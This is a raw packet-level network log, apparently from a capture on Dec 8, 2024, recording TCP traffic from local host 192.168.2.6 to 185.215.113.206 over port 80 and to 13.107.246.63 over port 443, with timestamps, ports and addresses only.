Dec 8, 2024 15:38:41.018831015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.018843889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.018888950 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.019895077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.019994974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.020046949 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.021126032 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.021178961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.021188021 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.022203922 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.022255898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.022286892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.023108959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.023291111 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.023452997 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.023504019 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.024467945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.024565935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.024616957 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.025609970 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.025657892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.025691986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.026412964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.026909113 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.026977062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.026983976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.027020931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.027887106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.027931929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.027932882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.027966976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.028999090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.029046059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.029179096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.029226065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.030153036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.030201912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.030281067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.030324936 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.031333923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.031383038 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.031414986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.031460047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.032435894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.032493114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.032502890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.032541990 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.033648968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.033694983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.033715010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.033760071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.034859896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.034914017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.035020113 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.035065889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.036123991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.036173105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.036212921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.036263943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.037533998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.037580967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.037599087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.037642956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.038522959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.038569927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.038569927 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.038610935 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.039767027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.039813995 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.039876938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.039920092 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.041250944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.041300058 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.041518927 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.041564941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.042851925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.042910099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.042982101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.043025970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.043956041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.044003010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.044015884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.044064999 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.044780970 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.044821978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.044858932 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.044903040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.045535088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.045583010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.045598030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.045643091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.046180964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.046207905 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.046226025 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.046241999 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.047215939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.047260046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.047358036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.047403097 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.048432112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.048484087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.048535109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.048579931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.049593925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.049640894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.049673080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.049721956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.050616026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.050661087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.074606895 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.075267076 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.075284004 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.075782061 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.075786114 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.079921961 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.081532955 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.081778049 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.081898928 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.081911087 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.082305908 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.082310915 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.082536936 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.082571030 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.082583904 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.082804918 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.082827091 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.083019018 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.083023071 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.083221912 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.083228111 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.083414078 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.083421946 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.083745956 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.083750963 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.183558941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.183656931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.183774948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.184123993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.184216976 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.184272051 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.185225010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.185278893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.185331106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.186191082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.186391115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.186453104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.186559916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.186688900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.187617064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.187685013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.187830925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.187872887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.188992023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.189023972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.189047098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.189059973 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.190093994 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.190138102 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.190181017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.191148043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.191201925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.191243887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.191289902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.192203999 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.192262888 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.192280054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.192321062 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.193197012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.193243980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.193298101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.193342924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.194320917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.194367886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.194437981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.194511890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.195631027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.195703983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.195709944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.195748091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.196611881 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.196666002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.196732044 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.196886063 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.197848082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.197900057 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.197902918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.197941065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.198924065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.198977947 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.199011087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.199047089 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.200021029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.200074911 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.200227022 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.200304031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.201565981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.201615095 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.201692104 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.201756001 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.203104973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.203123093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.203197002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.204278946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.204334021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.204346895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.204400063 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.205180883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.205286980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.205332994 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.205378056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.206331015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.206394911 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.206630945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.206760883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.207551003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.207607031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.207649946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.208559990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.208611965 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.208724976 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.208864927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.209579945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.209672928 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.209736109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.209786892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.210601091 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.210656881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.210819006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.210864067 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.211606979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.211657047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.211667061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.211703062 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.212598085 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.212651014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.212709904 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.212817907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.213709116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.213758945 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.213810921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.213891983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.214835882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.214884996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.214937925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.214983940 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.216032028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.216082096 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.216104031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.216150999 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.218193054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.218205929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.218266964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.220335960 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.220350981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.220364094 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.220376968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.220398903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.220428944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.221358061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.221371889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.221421957 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.221458912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.222412109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.222469091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.222557068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.222651005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.222888947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.222942114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.223007917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.223061085 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.223908901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.223973036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.224020004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.224061012 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.225037098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.225117922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.225182056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.225240946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.226186037 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.226248026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.226265907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.226309061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.227418900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.227471113 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.227473021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.227514029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.228492975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.228534937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.228559971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.228620052 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.229609013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.229665995 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.229712009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.229875088 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.230756998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.230814934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.230839014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.230876923 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.231921911 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.231971979 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.232007027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.232125044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.233158112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.233213902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.233282089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.233324051 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.234247923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.234299898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.234334946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.234535933 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.235284090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.235405922 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.235452890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.236438990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.236562014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.236605883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.237575054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.237621069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.237683058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.238137007 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.238718033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.238765955 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.238799095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.238862991 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.239878893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.239938021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.240017891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.241040945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.241084099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.241143942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.241327047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.242125034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.242178917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.242234945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.242279053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.243237972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.243275881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.375588894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.375649929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.375741005 CET	80	49787	185.215.113.206	192.168.2.6
